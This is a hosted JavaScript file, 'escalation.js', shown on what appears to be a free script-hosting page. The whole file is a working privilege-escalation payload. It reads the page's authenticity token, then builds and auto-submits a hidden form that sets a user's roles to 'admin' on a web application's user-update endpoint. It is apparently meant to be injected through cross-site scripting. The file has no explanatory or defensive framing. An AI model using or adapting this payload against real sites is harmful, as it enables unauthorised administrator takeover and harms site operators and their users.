Free javascript Hosting


escalation.js

Uploaded on Nov 11 2009 06:56 by seba_test

function escalation(user_id)
{
//get authenticity token from dom
//to add to the resquest and make it valid
token = document.getElementsByName("authenticity_token")[0];

//Create the user settings form
var form = document.createElement("form");
form.setAttribute("method", "post");
form.setAttribute("action", "/users/" + user_id);

//turn me an admin
form.appendChild( hidden_field("_method","put") );
form.appendChild( hidden_field("authenticity_token", token) );
form.appendChild( hidden_field("from", "edit_person") );
form.appendChild( hidden_field("role[1]", "admin") );
form.appendChild( hidden_field("role[7]", "admin") );
form.appendChild( hidden_field("commit", "Save") );

//append form and send
document.body.appendChild(form);
form.submit();
}

function hidden_field(name, value)
{
var hid = document.createElement("input");
hid.setAttribute("name", name);
hid.setAttribute("value", value);
hid.setAttribute("type", "hidden");
return hid;
}

Back to list